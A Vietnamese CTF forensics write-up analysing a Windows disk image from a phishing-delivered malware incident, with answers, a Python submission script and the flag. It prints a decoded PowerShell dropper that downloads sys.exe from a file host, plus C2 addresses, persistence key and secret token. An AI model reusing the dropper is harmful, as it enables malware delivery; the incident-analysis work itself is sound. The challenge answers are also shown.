Mô tả thử thách

Phân tích
Q1: What is the SHA256 hash of the disk image provided?
Sử dụng lệnh shasum -a 256 <file> để tính
122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2
Q2: Identify the OS build number of the victim’s system?
Chúng ta sẽ tìm đến Windows/System32/config/SOFTWARE để xem thông tin về hệ điều hành

19045
Q3: What is the ip of the victim's machine?
Đến đoạn này thì việc tiếp tục đọc hex trong FTK trở nên khá khó nhằn nên mình đã export thẳng file ra và mở bằng Registry Explorer cho dễ đọc các hive

192.168.206.131
Q4: What is the name of the email application used by the victim?
Ở đây mình đã mò vào thư mục Users và thấy có user ammar, khả năng là nạn nhân luôn, nên mình tiếp tục mò vào các thư mục chưa ứng dụng là AppData/Roaming và thấy folder tên là thunderbird cùng với Adobe, Microsoft và Mozilla, nên khá chắc đây có thể là ứng dụng để gửi email

thunderbird
Q5: What is the email of the victim?
Tiếp tục dò theo bước phía trước, mình vào folder thunderbird, chọn Profiles/6red5uxz.default-release/ImapMail/imap.gmail.com/INBOX để đọc các file đã gửi và nhận kèm theo tên user của thư mục để mò cho nhanh

ammar55221133@gmail.com
Q6: What is the email of the attacker?
Ở đây mình tiếp tục tìm kiếm với INBOX, tìm theo chuỗi "@gmail.com" để tìm ra các mail để gửi đến cho nạn nhân

masmoudim522@gmail.com
Q7: What is the URL that the attacker used to deliver the malware to the victim?
Tiếp tục với folder INBOX, mình sẽ tìm theo chuỗi "https://" hoặc "http://" để tìm ra URL mà attacker gửi đến

Nhận thấy có một đường dẫn GitHub như sau, nhưng nộp sẽ không đúng, vậy thử truy cập vào link GitHub này xem

Trong proc.js, thấy có một đoạn mã base64 khả nghi sau, thử giải mã xem

Có vẻ không đúng, thử tiếp tục tìm 3 file còn lại và tiếp tục nhận được mã base64 khác ở package.json

Giải mã:
$ echo "JAB3ACAAPQAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACIAOwAKACQAdQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADIAMwA4ADYAMAA3ADcAMwAvAHMAeQBzAC4AZQB4AGUAIgA7AAoAJABvACAAPQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABzAHkAcwAuAGUAeABlACIAOwAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAbwA=" | base64 -d
$w = "Invoke-WebRequest";
$u = "https://tmpfiles.org/dl/23860773/sys.exe";
$o = "$env:APPDATA\sys.exe";
Invoke-WebRequest $u -OutFile $o
https://tmpfiles.org/dl/23860773/sys.exe
Q8: What is the SHA256 hash of the malware file?
Quay trở lại với FTK, nạn nhân đã tải file về máy thì chắc hẳn nó chỉ nằm đâu đó trong Roaming và may mắn là nó nằm ngay Roaming nên mình không mất công tìm

Export về máy và tính shasum -a 256 của nó
be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6d
Q9: What is the IP address of the C2 server that the malware communicates with?
Vì đây là malware nên mình sẽ sử dụng VirusTotal để quét cùng với hash 256 có sẵn từ câu trên để tìm ra IP

40.113.161.85
Q10: What port does the malware use to communicate with its Command & Control (C2) server?
Giống câu trên

5000
Q11: What is the URL if the first Request made by the malware to the c2 server?
Cũng giống câu trên với thời gian sớm nhất chính là URL đầu tiên malware gọi đến

http://40.113.161.85:5000/helppppiscofebabe23
Q12: The malware created a file to identify itself. What is the content of that file?
Tiếp tục với VirusTotal, lần này mình sẽ qua phần Files Written để xem những file mà con malware này đã viết ra máy

Thấy đầu tiên nó sẽ viết ra file id.txt, vào lại FTK đọc nội dung file

3649ba90-266f-48e1-960c-b908e1f28aef
Q13: Which registry key did the malware modify or add to maintain persistence?
Tiếp tục với VirusTotal, lần này mình sẽ sang phần Registry actions để đọc các hoạt động tương tác Registry của con malware này

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyApp
Q14: What is the content of this registry?

Vậy mình sẽ export NTUSER.DAT ra để xem


C:\Users\ammar\Documents\sys.exe
Q15: The malware uses a secret token to communicate with the C2 server. What is the value of this key?
Vì ở đây nó bảo "secreat token" nên mình sẽ thử tìm chuỗi "secret", "token" và "secret token" trong file sys.exe xem sao
$ strings sys.exe | grep "secret"
secret
max=scav ptr ] = (usageinit ms, fault and tab= top=[...], fp:MarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthLocalntohsNRGBAGreek1562578125int16int32int64uint8slicetls: Earlyparsefilesimap2imap3imapspop3shostsutf-8%s*%dtext/bad nsse41sse42ssse3SHA-1P-224P-256P-384P-521ECDSA (at Classsecret/loginj1$6.6result,!k1=105)*$!UploadPath " path:,+!*26objectnumberstringStringFormat[]byteactiveclosedsocks5CANCELGOAWAYPADDEDBasic CookieacceptcookieexpectoriginserverExpectstatusPragmasocks Lockedexec: sysmontimersefenceselect, not next= jobs= goid sweep B -> % util alloc free span= prev= list=, i = code= addr= m->p= p->m=SCHED curg= ctxt: min= max= bad ts(...)
sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=parsing time out of rangelevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameDeleteServiceStartServiceWFindResourceWGetDriveTypeWModule32NextWThread32FirstRtlGetVersionRtlInitStringCoTaskMemFreeEnumProcessesShellExecuteWExitWindowsExGetClassNameWWTSFreeMemoryfilter method3814697265625tlsmaxrsasizeaccess denieduser canceledPKCS1WithSHA1ECDSAWithSHA1CLIENT_RANDOMmaster secretkey expansion in host namelame referraldalTLDpSugct?gzip, deflateGetTempPath2Wcrypto/subtlegocacheverifyinstallgoroothtml/templateRegDeleteKeyWRegEnumValueWnot availableinvalid ASN.1SHA256-RSAPSSSHA384-RSAPSSSHA512-RSAPSSemail addressshared_secretHKDF-SHA2-256name too long#failfipscastempty integerunsupported: HMAC-SHA2-256failed to get Error getting Shortcut path: -targetPath "unexpected EOFContent-LengthPROTOCOL_ERRORINTERNAL_ERRORREFUSED_STREAMMAX_FRAME_SIZEERR_UNKNOWN_%daccept-charsetcontent-lengthread_frame_eofinternal errorunknown error unknown code: Not AcceptableComputerNameExuserArenaStateGC (dedicated)read mem statsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= nil elem type! to finalizer GC worker initruntime: full=runtime: want=MB; allocated RtlGetVersion
runtime: newstack at runtime: newstack sp=runtime: confused by pcHeader.textStart= timer data corruptionMorocco Standard TimeNamibia Standard TimeAlaskan Standard TimeCentral Standard TimePacific Standard TimeEastern Standard TimeSE Asia Standard TimeArabian Standard TimeMagadan Standard TimeMyanmar Standard TimeYakutsk Standard TimeBelarus Standard TimeRussian Standard TimeRomance Standard TimeSaratov Standard TimeNorfolk Standard Timetime zone offset hourtrace/breakpoint trapuser defined signal 1user defined signal 2link has been severedpackage not installedblock device requiredstate not recoverableread-only file systemstale NFS file handleReadDirectoryChangesWNetGetJoinInformationCM_Get_DevNode_StatusAdjustTokenPrivilegesChangeServiceConfig2WDeregisterEventSourceEnumServicesStatusExWGetNamedSecurityInfoWLookupPrivilegeValueWSetNamedSecurityInfoWDwmGetWindowAttributeDwmSetWindowAttributeGetVolumeInformationWNtCreateNamedPipeFileSetupDiEnumDeviceInfoSetupUninstallOEMInfWWSALookupServiceNextWWTSEnumerateSessionsWunsupported operationpng: invalid format: not enough pixel data chunk is too large: 186264514923095703125931322574615478515625 of unexported methodunexpected value stepreflect.Value.SetZeroreflect.Value.Pointerreflect.Value.SetUintbad type in compare: key is not comparabledecompression failureunsupported extensionlocalhost.localdomainbufio: negative countNetUserGetLocalGroupsGetProfilesDirectoryWconcurrent map writesinvalid NumericStringx509: invalid versionmessage limit reachedIPv4 address too longunexpected slice sizesimulated PCT failureinvalid scalar lengthsequence tag mismatchError marshaling JSON:Error writing to file:Error decccccc string:CreateProcessW failed: into Go struct field json: unknown field %qhttp2: frame too largewrite on closed bufferDEBUG_HTTP2_GOROUTINESMAX_CONCURRENT_STREAMSframe_data_pad_too_bigaccess-control-max-ageinvalid Trailer key %qinvalid HTTP header %smalformed HTTP versionUnsupported Media Typeinteger divide by zeroCountPagesInUse (test)ReadMetricsSlow (test)trace reader (blocked)trace goroutine statusGC weak to strong waitsend on closed channelcall not at safe pointgetenv before env initinterface conversion: freeIndex is not valids.freeindex > s.nelemsbad sweepgen in refillspan has no free space/gc/scan/globals:bytes/gc/heap/frees:objectsruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=Sao Tome Standard TimeAleutian Standard TimeParaguay Standard TimeMountain Standard TimeAtlantic Standard TimePakistan Standard TimeSakhalin Standard TimeGeorgian Standard TimeCaucasus Standard TimeTasmania Standard TimeDateline Standard TimeHawaiian Standard Timeinvalid urn prefix: %qargument list too longaddress already in usenetwork is unreachablecannot allocate memoryprotocol not availableprotocol not supportedremote address changedConvertSidToStringSidWConvertStringSidToSidWCreateIoCompletionPortGetEnvironmentStringsWGetTimeZoneInformationEnumDependentServicesWWaitForMultipleObjectsNtSetSystemInformationRtlDeleteFunctionTableRtlGetNtVersionNumbersSetupDiEnumDriverInfoWSetupDiGetClassDevsExWCreateEnvironmentBlockWSAGetOverlappedResultWSALookupServiceBeginWreflectlite.Value.Typenon-positive dimension4656612873077392578125reflect.Value.MapIndexunexpected method stepreflect.Value.SetFloat to array with length error decoding messageinappropriate fallbackECDSAWithP256AndSHA256ECDSAWithP384AndSHA384ECDSAWithP521AndSHA512extended master secrethkdf: counter overflow.localhost.localdomainmissing ']' in addressinvalid address familyoperation was canceledgzip: invalid checksumhpack: string too longheader field %q = %q%sidna: invalid label %qRtlLookupFunctionEntryexit hook invoked exit%SystemRoot%\system32\zlib: invalid checksumreflectlite.Value.Elemoverflowing coordinatex509: malformed issuerIPv4 address too shortmultiple :: in addressskipping Question Nameskipping Question Typeunexpected length codesimulated CAST failureinvalid number base %dinternal inconsistencyzero length BIT STRINGsha3: Write after ReadError readddddd fillll:bytes.Buffer: too largejson: cannot unmarshal into Go value of type unexpected map key type<invalid reflect.Value>ENABLE_CONNECT_PROTOCOLunknown error code 0x%xframe_goaway_has_streamframe_headers_pad_shortframe_rststream_bad_leninvalid HTTP trailer %smalformed HTTP responsenon-zero reserved fieldnetwork not implementedcommand not implementedVariant Also Negotiatesindex out of range [%x]ReadMemStatsSlow (test)runtimecontentionstackschan receive (nil chan)garbage collection scanchan receive (synctest)makechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2
build -ldflags="-s -w -X main.secret=e7bcc0ba5fb1dc9cc09460baaa2a6986 -X main.ipC2=qukttvktstk}p -H windowsgui"
build -ldflags="-s -w -X main.secret=e7bcc0ba5fb1dc9cc09460baaa2a6986 -X main.ipC2=qukttvktstk}p -H windowsgui"
e7bcc0ba5fb1dc9cc09460baaa2a6986
Script
Sau nhiều thời gian nhập chay thì mình cũng có làm một con script để submit cho nhanh
import socket, re, sys, time
HOST, PORT = "foren-1f49f8dc.p1.securinets.tn", 1337
PROMPT = b"Input:"
ENC = "utf-8"
CRLF = True
A = {
"what is the sha256 hash of the disk image provided?": "122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2",
"identify the os build number of the victim’s system?": "19045",
"what is the ip of the victim's machine?": "192.168.206.131",
"what is the name of the email application used by the victim?": "thunderbird",
"what is the email of the victim?": "ammar55221133@gmail.com",
"what is the email of the attacker?": "masmoudim522@gmail.com",
"what is the url that the attacker used to deliver the malware to the victim?": "https://tmpfiles.org/dl/23860773/sys.exe",
"what is the sha256 hash of the malware file?": "be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6d",
"what is the ip address of the c2 server that the malware communicates with?": "40.113.161.85",
"what port does the malware use to communicate with its command & control (c2) server?": "5000",
"what is the url if the first request made by the malware to the c2 server?": "http://40.113.161.85:5000/helppppiscofebabe23",
"the malware created a file to identify itself. what is the content of that file?": "3649ba90-266f-48e1-960c-b908e1f28aef",
"which registry key did the malware modify or add to maintain persistence?": r"hkey_current_user\software\microsoft\windows\currentversion\run\myapp",
"what is the content of this registry?": r"c:\users\ammar\documents\sys.exe",
"the malware uses a secret token to communicate with the c2 server. what is the value of this key?": "e7bcc0ba5fb1dc9cc09460baaa2a6986",
}
def n(s):
return re.sub(r"\s+", " ", (s or "").strip()).lower()
def recv_until(sock, token=PROMPT, idle=2.0, overall=45.0):
sock.settimeout(1.0)
buf = b""; start = last = time.time()
while time.time() - start < overall:
try:
ch = sock.recv(4096)
if not ch: break
buf += ch
sys.stdout.write(ch.decode(ENC, "ignore")); sys.stdout.flush()
last = time.time()
if token and token in buf: break
except socket.timeout:
if time.time() - last >= idle: break
return buf.decode(ENC, "ignore")
def last_q(text):
m = re.findall(r"([^\r\n?]*\?)", text)
return m[-1].strip() if m else ""
def sendline(s, text):
s.sendall((text + ("\r\n" if CRLF else "\n")).encode(ENC, "ignore"))
def main():
print(f"[+] Connecting to {HOST}:{PORT} ...")
s = socket.create_connection((HOST, PORT), timeout=10)
history = recv_until(s, PROMPT, idle=3.0, overall=60.0)
while True:
q = last_q(history)
if not q:
more = recv_until(s, b"", idle=1.0, overall=4.0)
if not more: break
history += more
q = last_q(history)
if not q: continue
key = n(q)
ans = A.get(key)
if ans is None:
print(f"\n[?] Unknown question:\n> {q}")
ans = input(">>> ").strip()
print(f"[Q] {q}\n[A] {ans}")
sendline(s, ans)
blk = recv_until(s, PROMPT, idle=2.0, overall=40.0)
if not blk:
history += recv_until(s, b"", idle=1.0, overall=3.0)
break
history += blk
m = re.search(r"[a-z0-9_]{2,12}\{[^}\r\n]{5,200}\}", history, re.I)
print("\n[+] FLAG:", m.group(0) if m else "Not found")
s.close()
if __name__ == "__main__":
try: main()
except KeyboardInterrupt: print("\n[!] Aborted.")
except Exception as e: print(f"[!] Error: {e}")
Flag
Flag: Securinets{de2eef165b401a2d89e7df0f5522ab4f}
'WriteUp > Forensics' 카테고리의 다른 글
| [Forensics] My Nervous PPT - Dreamhack (0) | 2025.10.12 |
|---|---|
| [Forensics] Dream Zoo - Dreamhack (0) | 2025.10.11 |
| [Forensics] Remotely Interesting (SunshineCTF 2025) (0) | 2025.09.30 |
| [Forensics] Rocommunications (SunshineCTF 2025) (0) | 2025.09.30 |
| [Forensics] Intergalactic Copyright Infringement (SunshineCTF 2025) (0) | 2025.09.30 |
